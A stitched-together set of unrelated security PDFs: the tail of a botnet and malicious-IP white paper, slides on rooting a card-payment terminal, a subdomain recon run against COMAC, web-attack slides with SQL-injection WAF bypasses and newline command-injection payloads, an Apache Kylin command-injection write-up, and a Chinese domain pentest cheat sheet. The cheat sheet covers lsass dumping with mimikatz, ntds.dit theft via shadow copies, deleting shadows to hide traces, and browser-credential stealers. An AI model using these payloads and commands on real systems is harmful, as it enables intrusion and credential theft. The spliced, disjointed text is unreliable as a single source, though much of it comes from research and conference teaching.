the repulsive force fr(d) both depend on the distance between the nodes and a constant k controlling the density of the layout. The algorithm also adds a notion of temperature which controls the displacement of the vertices. The higher the temperature, the faster the movement. The physics represent a system inspired by electrical or celestial forces associated with a general technique called "simulated annealing" [34] where increasing/decreasing the temperature affects the particles thermodynamics vibration, helping them to progressively reach an equilibrium state where all the node forces become even. That state usually looks like a visually pleasing molecule-shaped layout where relational clusters will aggregate in the same areas. This is only one of many variations of the force-directed layouts. Many other versions can be found on various papers. They will be integrated and documented in this white paper as they are implemented in the data visualization engine. Dealing with large graphs Being able to visualize a graph with a dozen of nodes and edges is absolutely not enough for modern day requirements. Most modern databases include millions or billions of entries. All 3D engines and particle systems have their physical limitations and force-directed layout algorithms usually increase in complexity as the size of the graph grows. Knowing those factors, how do we work around these issues ? a. Entity grouping One way to decrease the amount of information to process is the look at it from a higher level. Instead of dealing with entities, we can create nodes representing groups. The possibilities are endless depending on the subject we want to visualize. For instance : If we wanted to visualize the whole known universe with its planets and stars, it would make sense to structure our representation by a fractal approach where we would look first at galaxies then stars, planets, 35 continents, countries, cities (etc.) to reduce the size of the point cloud. We could then interactively decide to add more details on the fly as we move closer from a certain city. This would give access to the whole information without having to deal with all of it at once. b. Sampling Another interesting way to limit the size of a dataset without completely losing the fine details is to use sampling methods. We would take a certain certain percentage or a random sample of the complete dataset. The random subset could be built using a uniform or normal distribution (or any other user-defined distribution) and then more easily processed. Using the same previous universe analogy, for example we would randomly remove half of the galaxies, half of the planets/stars, half of the cities (etc.) and process the result. The data scientist has to adjust his hypotheses or assumptions based on the way the data was pruned. Figure 27. Random walk example. When dealing with graphs, an easy way to take random sample of a large graph is to use a "Random Walk" approach [35]. One would select random entry points in the graph and trace a random path in the graph starting from those points. There are many ways to tweak such an exploration technique. It highly depends on the user modifications and the biases involved in the selection of the random candidates but in general a random walk helps understanding the general structure of a very large graph. c. Parallelization When every other pruning technique has been used, the last answer is parallelization. We can effectively add more computing power to a system by distributing the calculation. This can happen remotely using "Grid Computing" technologies or localy using the performance of multiple threads / cores / processes [36]. However, the processing algorithm needs to be rewritten to work in a parallel fashion, which is unfortunately not always completely possible. 36 Using the most recent graphic cards we can take advantage of efficient GPUs and distribute the calculation on their always-increasing number of cores and threads. GPUs have become insanely good at working with geometrical data (such as vectors, colors, matrices, textures or any kind of computation involving a combination of these). Learning how to leverage GPUs (Or any parallel platform) with technologies such as OpenGL, GLSL and OpenCL (among many others) is definitely one key to unlock our theoretical barrier. Figure 28. OpenCL architecture. With OpenCL for example, a task can be fully or even partially distributed over several compute units. The efficiency of the whole system has then to be maximized by optimizing the different parts of the algorithm (Memory access, Instructions, Concurrency...). CONCLUSION In this paper, we covered a two-pronged strategy to catch malware at the DNS and IP level. First, we discussed methods to track fast flux botnets and presented a study on the zbot fast flux proxy network. Second, we proposed new methods to explore malicious IP space that enrich current reputation techniques. Known techniques assign maliciousness scores to IPs, prefixes, and ASNs based on counting volume of hosted content. In this work, we proposed to consider the topology of the AS graph, look at a granularity smaller than the BGP prefix and look at overlapping outages. In the first case, we showed cases of rogue sibling peripheral ASNs that are delivering common suspicious payloads. In the second case, we studied sub-allocated IP ranges and shed light on the MO of bad actors to abuse these allocations from providers and avoid detection. Our system provides actionable intelligence and helps preemptively detect, quarantine, and monitor or block specific rogue IP space. Finally, we presented our novel 3D visualization engine that adequately displays the use cases and offers a graph navigation and investigation tool. We demonstrated the process which transforms raw data into stunning 3D visuals. The engine features different techniques used to build and render large graph datasets: Force Directed algorithms accelerated on the GPU using OpenCL, 3D rendering and navigation using OpenGL ES, and GLSL Shaders. 37 REFERENCES [1] Distributed Malware Proxy Networks, B. Porter, N. Summerlin, BotConf 2013 [2] http://labs.opendns.com/2013/12/18/operation-kelihos-presented-botconf-2013/ [3] https://zeustracker.abuse.ch/ [4] http://www.malware-traffic-analysis.net/ [5] B. Stone-Gross, C. Kruegel, K. Almeroth, A. Moser, E. Kirda, “Finding rogue networks”, Annual Comp. Security Applications Conference, ACSAC ‘09. [6] F. Roveta, L. Di Mario, F. Maggi, G. Caviglia, S. Zanero, P. Ciuccarelli, “BURN: Baring Unknown Rogue Networks”, 8th Intl. Symposium on Visualization for Cyber Security, VizSec ‘11. [7] T. Yu, R. Lippmann, J. Riordan, S. Boyer, “Ember: a global perspective on extreme malicious behavior”, 7th Intl. Symposium on Visualization for Cyber Security, VizSec ‘10. [8] C. Wagner, J. Francois, R. State, A. Dulaunoy, T. Engel, G. Massen, “ASMATRA: Ranking ASs Providing Transit Service to Malware Hosters”, IEEE International Symposium on Integrated Network Management (IM 2013), 2013. [9] A. Broido, K. Claffy, “Analysis of RouteViews BGP data: policy atoms”, Network Resource Data Management Workshop, May 2001. [10] http://archive.routeviews.org/bgpdata/ [11] http://www.cidr-report.org/as2.0 [12] http://bgp.he.net [13] http://en.wikipedia.org/wiki/Vertex_(graph_theory) [14] http://www.team-cymru.org/Services/ip-to-asn.html [15] http://dev.maxmind.com/geoip/legacy/geolite/ [16] https://www.virustotal.com/en/ip-address/5.254.120.124/information/ [17] http://pastebin.com/X83gkPY4 [18] http://telussecuritylabs.com/threats/show/TSL20130715-08 [19] http://www.f-secure.com/v-descs/trojan_html_browlock.shtml [20] http://www.ovh.com/ [21] D. Mahjoub, “When IPs go Nuclear”, http://labs.opendns.com/2014/02/14/when-ips-go-nuclear/ [22] http://blog.malwaremustdie.org/2014/02/tango-down-of-nuclear-packs-174.html [23] http://nakedsecurity.sophos.com/2012/11/23/hacked-go-daddy-ransomware/ [24] http://www.malware-traffic-analysis.net/2014/05/08/index.html [25] http://www.malware-traffic-analysis.net/2014/05/13/index.html [26] http://www.malware-traffic-analysis.net/2014/05/25/index.html [27] http://www.malware-traffic-analysis.net/2014/06/03/index.html [28] http://urlquery.net/report.php?id=1397035856786 [29] https://www.virustotal.com/en/ip-address/184.105.139.31/information/ [30] https://www.mywot.com/en/scorecard/king-servers.com/comment-15984778#comment-15984778 [31] https://www.virustotal.com/en/ip-address/62.75.195.244/information/ [32] http://urlquery.net/report.php?id=1399060473120 [33] http://cs.brown.edu/~rt/gdhandbook/chapters/force-directed.pdf [34] http://en.wikipedia.org/wiki/Simulated_annealing [35] http://en.wikipedia.org/wiki/Random_walk [36] http://en.wikipedia.org/wiki/Grid_computing
pdf
POS SYSTEMSED Romantically available Hacker Outdoor day drinker Sort of an adrenaline junkie Our Target Motivation Very common high security device Companies often use on terminal encryption to justify
 weak security elsewhere. The companies that do care often don’t have the resources 
 to validate any security claims vendors make. What this talk is not Exhaustive comparison of all Pinpads / Card terminals Endorsement or indictment of any specific vendor Configuration or Compliance Guide What this talk is In depth dive into one line of devices Exploits! Previous Work Skimmers Previous Work Pong on payment terminals1 Previous Work Tamper resistant bypasses 
 and emv protocol exploits2 Previous Work 2015 Survey of POS attacks
 (90% use default PIN)3 Previous Work Breaches Device Overview Linux under the hood (V/OS) 400 MHz, ARM11 32-bit RISC processor ARMv6 instruction set :( 512MB (256MB Flash, 256MB SDRAM) 4 or 7 inch display!!! ! Connectivity Varies by device configuration -Ethernet (optional) -Wifi (optional) -Bluetooth (optional) -USB host (optional) -RS-232 (optional) -Old IO methods from mx800 series Generally expose similar functionality Remote Attack Surface 2 TCP ports open -Services expect XML messages DHCP (sometimes) Normal Operation Generally frmAgent.exe running as usr1 Only communicates over configured interfaces
 - Generally USB or Ethernet Daemons provide IPC for privileged operations Physical Attack Surface Smart Card Reader / Mag Usb (Host) USB(9600 Baud Serial) Com ports SD card slot BERG
 Disassembly Tamper resistant hardware Likes to wipe itself when opened up Not necessary to get firmware Warranty Voided! Administrator Mode Press 1 + 5 + 9 Enter pin Massively increased attack surface! Diagnostic Info! Install Software Updates! Software Update Manual Interaction required
 unless using PAYware :( Updates must be signed 
 prior to installation Load Encryption Keys! Manage Config Settings! MOAR Config Settings! File Manager! Exploit!!! Priv-Esc Attack Surface No SUID binaries Only ~6 processes running as root -3 of them expose IPC mechanisms Reasonably good filesystem permissions Functionality separated by user -sys4 for admin mode -usr1 for merchant applications grsec Patch levels, oh my Linux Kernel 2.6.31.14 Outdated libxml2 Outdated image parsing libraries Improvements in Newer Versions All binaries are complied with -fstack-protector-strong All writeable partitions mounted noexec (minor exceptions) Aggressive grsec RBAC (role-based access control) profile Many bugs patched, but definitely not all. Root Services /sbin/klogd /sbin/syslogd ifplugd /usr/local/sbin/secins /usr/local/bin/vfinetctrl /usr/local/sbin/svc_netcontrol Non-Root Services sys2 /home/sys2/fstMediaSrvr sys2 svcserverd sys2 /home/sys2/scgiserver sys2 /home/sys2/svcmgrserver sys2 cgiSvcMgr sys3 /home/sys3/vcl sys5 /home/sys5/ctls_demon sys6 /home/sys6/vhq_sys sys6 /home/sys6/apm_config sys6 /home/sys6/apmd —verbose vfinetctrl IPC via /tmp/vfinetCtrl.fifo ~8 operations exposed via IPC Networking Related Pretty boring secins Package installation/security related functionality IPC via unix socket Handles grsec configuration on startup Lots of other interesting functionality Reversing secins ~22 supported IPC opcodes Each contains complicated functionality Clearly well audited relative to other code svc_netcontrol IPC interface exposed via System V shared memory Allows limited users to request changes to network interfaces Numerous functions exposed -InterfaceSetup, AddRouteFromXML, doSetNTP, pppConnect, modemConnect, AddHostRoute, And On… And On… svc_nettest for exercising functionality w00t w00t r00t sprintf(pppd %s updetach local user %s connect echo); Spaces filtered but not \v or \t Win!! grrrrrrrrsec grsec RBAC’s restrict the root user’s filesystem access Still can’t ptrace secins :( No access to magstripe reader + smart card devices No access to frame buffer === no DOOM Options Continue staring at secins IPC handler Kernel exploit Get creative Brain Storming We can start and stop other processes with different
 RBAC rules We can send signals to other processes secins can start and stop grsec with gradm On start up it disables RBACs then re-enables them
 to ensure the proper rules are loaded Interesting… Race to the finish kill -9 secins /usr/local/sbin/secins Wait for secins to turn off RBACs kill -9 secins PROFIT!!! –MC Hammer? "Demo Time" Interesting Input /dev/amsr - magstripe related /dev/scdrv - smart card related /dev/syncscdrv - smart card related /dev/input/event2 - keypad Persistence “Secure Boot” Software “packages” are tar files .p7s signature file for each “package” Requires exploit that will be triggered on boot Data Exfiltration Store network / internet Pivot through the POS system Wifi or Bluetooth Write Data Out to Smart Card Side Channels (Ultrasonic4, RF5, LED modulation6) Mitigations DO NOT USE THE DEFAULT PIN Have a process to update your card terminal’s software in place
 and use it regularly
 - Very intensive due to manual update process Harden store networks and POS systems that can
 communicate with card terminals Vendor Response Quickly responded to vulnerability reports Was able to produce patches Takeaways Use defense in depth to secure the entire store network Where there’s a will there’s a way Don’t let all of your security rely on a third party device More research should be done into other brands / product lines Push for audits and transparency, not marketing Push for more automatic update mechanisms GREETZ! Fareed Khattak Mike Weber Dean Jerkovich chaosdata Richo samuslav References 1.) https://srlabs.de/bites/eft-vulns/ 2.) https://www.cl.cam.ac.uk/research/security/banking/ 3.) https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-that- point-of_sale-is-a-pos_final.pdf 4.) https://www.youtube.com/watch?v=i5xa5zAFm_Y 5.) https://www.youtube.com/watch?v=-YXkgN2-JD4 6.) https://www.nostarch.com/silence.htm Contact Info @trixr4skids on twitter
pdf
信息收集 自定义 pipeline 命令(需要 httpx、subfinder): 输出 out 文件: python3 icp.py 中国商用飞机有限责任公司 | ./Alive/bin/subfinder -silent | ./Alive/bin/httpx -status-code -title -follow-redire cts -silent -no-color -content-length > out https://cis.comac.cc [200] [796] [] https://fangke.sadri.cn [404] [1497] [404-对不起!您访问的页面不存在] https://im.comac.cc [200] [1739] [Coremail 论客] https://pop3.comac.cc [200] [92] [] https://mail.comac.cc [200] [27330] [商飞外网邮件系统] https://mx01.comac.cc [200] [92] [] https://imap.comac.cc [200] [92] [] https://access.comac.cc [200] [7424] [] https://smtp.comac.cc [200] [92] [] https://autodiscover.comac.cc [200] [92] [] https://coremail.comac.cc [302,200] [27330] [商飞外网邮件系统] [https://mail.comac.cc] https://zhaopin.comac.cc [404] [548] [404 Not Found] http://sadri.comac.cc [200] [23655] [上海飞机设计研究院] http://bj.comac.cc [200] [24236] [北京民用飞机技术研究中心] http://saic.comac.cc [200] [24885] [上海航空工业(集团)有限公司] http://samc.comac.cc [200] [26317] [上海飞机制造有限公司] http://sc.comac.cc [200] [25087] [上海飞机客户服务有限公司] http://www.comac.cc [200] [42812] [中国商飞公司门户网站] http://english.comac.cc [200] [11832] [Commercial Aircraft Corporation of China, Ltd.] http://ipaper.comac.cc [200] [6043] [《大飞机报》移动版] http://news.comac.cc [200] [39401] [新闻中心] http://paper.comac.cc [200] [484] [] http://m.comac.cc [200] [63943] [中国商飞公司门户网站] 自编写 icp.py :https://github.com/n00B-ToT/self_using_example/blob/main/icp.py icp.py usage: python3 icp.py 中国商用飞机有限责任公司 or python3 icp.py comac.cc
pdf
• 蔡政達 a.k.a Orange • CHROOT 成員 / HITCON 成員 / DEVCORE 資安顧問 • 國內外研討會 HITCON, AVTokyo, WooYun 等講師 • 國內外駭客競賽 Capture the Flag 冠軍 • 揭露過 Microsoft, Django, Yahoo, Facebook, Google 等弱 點漏洞 • 專精於駭客⼿手法、Web Security 與網路滲透 #90後 #賽棍 #電競選⼿手 #滲透師 #Web狗 #🐶 – 講 Web 可以講到你們聽不懂就贏了 – 「⿊黑了你,從不是在你知道的那個點上」 – 擺在你眼前是 Feature、擺在駭客眼前就是漏洞 - 別⼈人笑我太瘋癲,我笑他⼈人看不穿 - 猥瑣「流」 Q: 資料庫中的密碼破不出來怎麼辦? 第三⽅方內 容安全 前端 安全 DNS 安全 Web應⽤用 安全 Web框架 安全 後端語⾔言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 XSS XXE SQL Injection CSRF 第三⽅方內 容安全 前端 安全 DNS 安全 Web應⽤用 安全 Web框架 安全 後端語⾔言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 Struts2 OGNL RCE Rails YAML RCE PHP Memory UAF XSS UXSS Padding Oracle Padding Oracle XXE DNS Hijacking SQL Injection Length Extension Attack ShellShock HeartBleed JSONP Hijacking FastCGI RCE NPRE RCE OVERLAYFS Local Root CSRF Bit-Flipping Attack 第三⽅方內 容安全 前端 安全 DNS 安全 Web應⽤用 安全 Web框架 安全 後端語⾔言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 🌰 - Perl 語⾔言特性導致網⾴頁應⽤用程式漏洞 🌰 @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # ? $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => 'Ba', 'Ba' => 'Banana' }; @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # wrong! $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => ('Ba', 'Ba', 'Banana') }; @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # correct! $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => 'Ba', 'Ba' => 'Banana' }; my $otheruser = Bugzilla::User->create( { login_name => $login_name, realname => $cgi->param('realname'), cryptpassword => $password }); my $otheruser = Bugzilla::User->create( { login_name => $login_name, realname => $cgi->param('realname'), cryptpassword => $password }); # index.cgi? realname=xxx&realname=login_name&realname= admin - Windows 特性造成網⾴頁應⽤用限制繞過 🌰 • Windows API 檔名正規化特性 - shell.php # shel>.php # shell"php # shell.< • Windows Tilde 短檔名特性 - /backup/20150707_002dfa0f3ac08429.zip - /backup/201507~1.zip • Windows NTFS 特性 - download.php::$data – 講些⽐比較特別的應⽤用就好 • MySQL UDF 提權 - MySQL 5.1 - @@plugin_dir - Custom Dir -> System Dir -> Plugin Dir • 簡單說就是利⽤用 into outfile 建⽴立⺫⽬目錄 - INTO OUTFILE 'plugins::$index_allocation' - mkdir plugins – 對系統特性的不了解會導致「症狀解」 – 講三個較為有趣並被⼈人忽略的特性與技巧 • 問題點 - 未正確的使⽤用正規表⽰示式導致⿊黑名單被繞過 • 範例 - WAF 繞過 - 防禦繞過 - 中⽂文換⾏行編碼繞過網⾴頁應⽤用防⽕火牆規則 http://hackme.cc/view.aspx ?sem=' UNION SELECT(user),null,null,null, &noc=,null,null,null,null,null/*三*/FROM dual-- http://hackme.cc/view.aspx ?sem=' UNION SELECT(user),null,null,null, &noc=,null,null,null,null,null/*上*/FROM dual-- http://hackme.cc/view.aspx ?sem=' UNION SELECT(user),null,null,null, &noc=,null,null,null,null,null/*上*/FROM dual-- %u4E0A %u4D0A ... - 繞過防禦限制繼續 Exploit for($i=0; $i<count($args); $i++){ if( !preg_match('/^\w+$/', $args[$i]) ){ exit(); } } exec("/sbin/resize $args[0] $args[1] $args[2]"); /resize.php ?arg[0]=uid.jpg &arg[1]=800 &arg[2]=600 for($i=0; $i<count($args); $i++){ if( !preg_match('/^\w+$/', $args[$i]) ){ exit(); } } exec("/sbin/resize $args[0] $args[1] $args[2]"); /resize.php ?arg[0]=uid.jpg|sleep 7| &arg[1]=800;sleep 7; &arg[2]=600$(sleep 7) for($i=0; $i<count($args); $i++){ if( !preg_match('/^\w+$/', $args[$i]) ){ exit(); } } exec("/sbin/resize $args[0] $args[1] $args[2]"); /resize.php ?arg[0]=uid.jpg%0A &arg[1]=sleep &arg[2]=7%0A - 繞過防禦限制繼續 Exploit - 駭客透過 Nginx ⽂文件解析漏洞成功執⾏行 Webshell 是 PHP 問題,某⽅方⾯面也不算問題(?)所也沒有 CVE PHP 後⾯面版本以 Security by Default 防⽌止此問題 差不多是這種狀況 http://hackme.cc/avatar.gif/foo.php ; Patch from 80sec if ($fastcgi_script_name ~ ..*/.*php) { return 403; } http://www.80sec.com/nginx-securit.html It seems to work http://hackme.cc/avatar.gif/foo.php But ... http://hackme.cc/avatar.gif/%0Afoo.php NewLine security.limit_extensions (>PHP 5.3.9) • 問題點 - 對資料不了解,設置了錯誤的語系、資料型態 • 範例 - ⼆二次 SQL 注⼊入 - 字符截斷導致 ... - 輸⼊入內容⼤大於指定形態⼤大⼩小之截斷 $name = $_POST['name']; $r = query('SELECT * FROM users WHERE name=?', $name); if (count($r) > 0){ die('duplicated name'); } else { query('INSERT INTO users VALUES(?, ?)', $name, $pass); die('registed'); } // CREATE TABLE users(id INT, name VARCHAR(255), ...) mysql> CREATE TABLE users ( -> id INT, -> name VARCHAR(255), -> pass VARCHAR(255) -> ); Query OK, 0 rows affected (0.00 sec) mysql> INSERT INTO users VALUES(1, 'admin', 'pass'); Query OK, 1 row affected (0.00 sec) mysql> INSERT INTO users VALUES(2, 'admin ... x', 'xxd'); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> SELECT * FROM users WHERE name='admin'; +------+------------------+------+ | id | name | pass | +------+------------------+------+ | 1 | admin | pass | | 2 | admin | xxd | +------+------------------+------+ 2 rows in set (0.00 sec) name: admin ... x [space] x 250 CVE-2009-2762 WordPress 2.6.1 Column Truncation Vulnerability - CREATE TABLE users (id INT, name TEXT, ...) CVE-2015-3440 WordPress 4.2.1 Truncation Vulnerability - Unicode 編碼之截斷 🍊 $name = $_POST['name']; if (strlen($name) > 16) die('name too long'); $r = query('SELECT * FROM users WHERE name=?', $name); if (count($r) > 0){ die('duplicated name'); } else { query('INSERT INTO users VALUES(?, ?)', $name, $pass); die('registed'); } // CREATE TABLE users(id INT, name VARCHAR(255), ...) DEFAULT CHARSET=utf8 mysql> CREATE TABLE users ( -> id INT, -> name VARCHAR(255), -> pass VARCHAR(255) -> ) DEFAULT CHARSET=utf8; Query OK, 0 rows affected (0.00 sec) mysql> INSERT INTO users VALUES(1, 'admin', 'pass'); Query OK, 1 row affected (0.01 sec) mysql> INSERT INTO users VALUES(2, 'admin🍊x', 'xxd'); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> SELECT * FROM users WHERE name='admin'; +------+-------+------+ | id | name | pass | +------+-------+------+ | 1 | admin | pass | | 2 | admin | xxd | +------+-------+------+ 2 rows in set (0.00 sec) name: admin🍊x 🍊🐱🐶🐝💩 CVE-2013-4338 WordPress < 3.6.1 Object Injection Vulnerability CVE-2015-3438 WordPress < 4.1.2 Cross-Site Scripting Vulnerability - 錯誤的資料庫欄位型態導致⼆二次 SQL 注⼊入 #靠北⼯工程師 10418 htp://j.mp/1KiuhRZ $uid = $_GET['uid']; if ( is_numeric($uid) ) query("INSERT INTO blacklist VALUES($uid)"); $uids = query("SELECT uid FROM blacklist"); foreach ($uids as $uid) { show( query("SELECT log FROM logs WHERE uid=$uid") ); } // CREATE TABLE blacklist(id TEXT, uid TEXT, ...) $uid = $_GET['uid']; if ( is_numeric($uid) ) query("INSERT INTO blacklist VALUES($uid)"); $uids = query("SELECT uid FROM blacklist"); foreach ($uids as $uid) { show( query("SELECT log FROM logs WHERE uid=$uid") ); } // uid=0x31206f7220313d31 # 1 or 1=1 sql_mode = strict utf8mb4 • 問題發⽣生情境 - 使⽤用多個網⾴頁伺服器相互處理 URL ( 如 ProxyPass, mod_jk... ) http://hackme.cc/jmx-console/ http://hackme.cc/sub/.%252e/ jmx-console/ Deploy to GetShell • workers.properti es - worker.ajp1.port= 8009 - worker.ajp1.host= 127.0.0.1 - worker.ajp1.type= ajp13 • uriworkermap.pro perties - /sub/*=ajp1 - /sub=ajp1 http://hackme.cc/sub/../jmx-console/ Apache http://hackme.cc/sub/../jmx-console/ not matching /sub/*, return 404 http://hackme.cc/sub/.%2e/jmx-console/ Apache http://hackme.cc/sub/.%252e/jmx-console/ http://hackme.cc:8080/sub/.%2e/jmx-console/ JBoss http://hackme.cc:8080/sub/../jmx-console/ mod_jk • HITCON 2014 CTF - 2 / 1020 解出 • 舊版 ColdFusion 漏洞 - ColdFusion with Apache Connector - 舊版本 ColdFusion Double Encoding 造成資訊洩漏 漏洞 http://hackme.cc/admin%252f %252ehtaccess%2500.cfm Apache http://hackme.cc/admin/.htaccess <FilesMatch "^\.ht">, return 403 Apache http://hackme.cc/admin%252f.htaccess /admin%2f.htaccess not found, return 404 http://hackme.cc/admin%2f.htaccess Apache http://hackme.cc/admin%252f.htaccess%2500.cfm End with .cfm, pass to ColdFusion http://hackme.cc/admin%2f.htaccess%00.cfm ColdFusion http://hackme.cc/admin/.htaccess .cfm http://hackme.cc/admin%2f.htaccess%00.cfm
pdf
环境搭建 ubuntu docker 8g docker pull apachekylin/apache-kylin-standalone:4.0.0 docker run -d \ -m 8G \ -p 7070:7070 \ -p 8088:8088 \ -p 50070:50070 \ -p 8032:8032 \ -p 8042:8042 \ -p 2181:2181 \ -p 5005:5005 \ apachekylin/apache-kylin-standalone:4.0.0 5005是远程调试端口 Kylin 页面:http://127.0.0.1:7070/kylin/login admin KYLIN HDFS NameNode 页面:http://127.0.0.1:50070 YARN ResourceManager 页面:http://127.0.0.1:8088 具体看官方的docker安装文档 https://kylin.apache.org/cn/docs/install/kylin_docker.html 远程调试配置,修改 /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh 在retrieveStartCommand函数修改 $JAVA ${KYLIN_EXTRA_START_OPTS} ${KYLIN_TOMCAT_OPTS} -Xdebug - Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath ${KYLIN_TOMCAT_CLASSPATH} org.apache.catalina.startup.Bootstrap start >> ${KYLIN_HOME}/logs/kylin.out 2>&1 & echo $! > ${KYLIN_HOME}/pid & 分析 在 org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo 中 跟进dumpProjectDiagnosisInfo 这里getProject()通过 ValidateUtil.convertStringToBeAlphanumericUnderscore(project) 处理,但 是 runDiagnosisCLI(args) 中接受的cmd参数仍然是通过project传过来的,相当于命令行可控。 而且 getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project)) 将传入的命 令进行如下处理。将除数字字母下划线以外的东西替换为空。比如传入命令为 touch 123 ,将被 替换为 touch123 public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { return toBeConverted.replaceAll("[^a-zA-Z0-9_]", ""); } 刚好解决 projectInstance==null 抛出异常的问题。 if (null == projectInstance) { throw new BadRequestException( String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project)); } 最后执行的命令如下 再来看创建项目的地方 org.apache.kylin.rest.controller.ProjectController#saveProject 项目名进行 ValidateUtil.isAlphanumericUnderscore() 校验,不能有数字字母下划线以外的东 西。 完整的利用方式如下,以执行命令 touch 123 为例 先创建项目,项目名为 touch123 接下来触发命令执行 执行成功 修复方式 git的diff 传入cmd的参数改为projectName而非http传入的project,projectName经过了 convertStringToBeAlphanumericUnderscore() 处理,所以无法输入非字母数字下划线的字符来触 发命令执行。 总结 巧妙利用两个函数对于参数处理的特性来进行命令执行,值得一学。 参考 1. https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/ 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
1.无凭证情况下 网络扫描 漏洞快速探测 扫描后可以去先用已知漏洞打 提权 低权限可以做的事情 拥有本地管理员权限 cme smb <ip_range> # SMB 扫描存活主机 nmap -sP -p <ip> # ping 扫描 nmap -PN -sV --top-ports 50 --open <ip> # 快速扫描 nmap -PN --script smb-vuln* -p139,445 <ip> # 检测 SMB 漏洞 nmap -PN -sC -sV <ip> # 经典扫描 nmap -PN -sC -sV -p- <ip> # 全扫描 nmap -sU -sC -sV <ip> # UDP 扫描 java rmi: exploit/multi/misc/java_rmi_server ms17-010:exploit/windows/smb/ms17_010_eternalblue tomcat:auxiliary/scanner/http/tomcat_enum jboss manager:exploit/multi/http/tomcat_mgr_deploy Java反序列化漏洞测试:ysoserial 查找产品的CVE漏洞:searchsploit MS14-025: searchsploit   findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml 爆破数据库连接:use admin/mssql/mssql_enum_sql_logins proxylogon: proxyshell: winpeas.exe 查找内容有 password 的文件:findstr /si 'password' *.txt *.xml *.docx Juicy Potato / Lovely Potato PrintSpoofer RoguePotato SMBGhost CVE-2020-0796 CVE-2021-36934 (HiveNightmare/SeriousSAM) ...... 获取密码 绕过LSA防护策略读取密码 token窃取 之前粗略分析过 token Token窃取那些事 (0range-x.github.io) 查看本地存储的所有密码 卷影拷贝(获取域控所有hash) procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit" mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit" hashdump: post/windows/gather/smart_hashdump cme smb <ip_range> -u <user> -p <password> -M lsassy cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys .\incognito.exe list_tokens -u .\incognito.exe execute -c "<domain>\<user>" powershell.exe use incognito impersonate_token <domain>\\<user> lazagne.exe all diskshadow list shadows all mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ [CVE-2020-1472的分析与复现 (0range-x.github.io)](https://0range-x.github.io/2021/11/22/CVE- 2020-1472/#vssadmin卷影拷贝) dpapi解密 2.内网信息收集 本机信息收集 8.获取当前用户密码 Windows mimikatz Invoke-WCMDump mimiDbg LaZagne NirLauncher ) quarkspwdump 管理员权限执行 vssadmin create shadow /for=C: 利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava hklm\system system.hive //导出system.hive文件到注册表 vssadmin delete shadows /for=C: /quiet   //删除卷影,隐藏痕迹 1、用户列表 net user /domain windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 2.进程列表 tasklist /svc 分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等 3.服务列表 tasklist /svc 与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞] 4.端口列表 netstat -ano 开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集 5.补丁列表 systeminfo 分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞 6.本机共享 smbclient -L ip     net user \\ip\c$ 本机共享列表/访问权限 本机访问的域共享/访问权限 7.本用户习惯分析 历史记录 收藏夹 文档等 Linux mimipenguin LaZagne 浏览器 HackBrowserData SharpWeb SharpDPAPI 360SafeBrowsergetpass BrowserGhost Browser-cookie-steal(窃取浏览器cookie) Navicat密码 版本:Navicat 11或12 方法:https://blog.csdn.net/CCESARE/article/details/104746596 解密脚本:https://github.com/tianhe1986/FatSmallTools https://github.com/HyperSine/how-does-navicat-encrypt-password xshell&xftp密码 https://github.com/dzxs/Xdecrypt mRemoteNG密码 https://github.com/kmahyyg/mremoteng-decrypt https://github.com/haseebT/mRemoteNG-Decrypt 扩散信息收集 常用端口扫描工具 nmap masscan zmap s扫描器 自写脚本 nc …… 内网拓扑架构分析 DMZ 管理网 生产网 测试网 常见信息收集命令 ipconfig: net dsquery 第三方信息收集 NETBIOS 信息收集 SMB 信息收集 空会话信息收集 漏洞信息收集等 3.获取域控的方法 SYSVOL SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol 文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会 复制到域中所有DC上。 相关阅读: 寻找SYSVOL里的密码和攻击GPP(组策略偏好) Windows Server 2008 R2之四管理Sysvol文件夹 SYSVOL中查找密码并利用组策略首选项 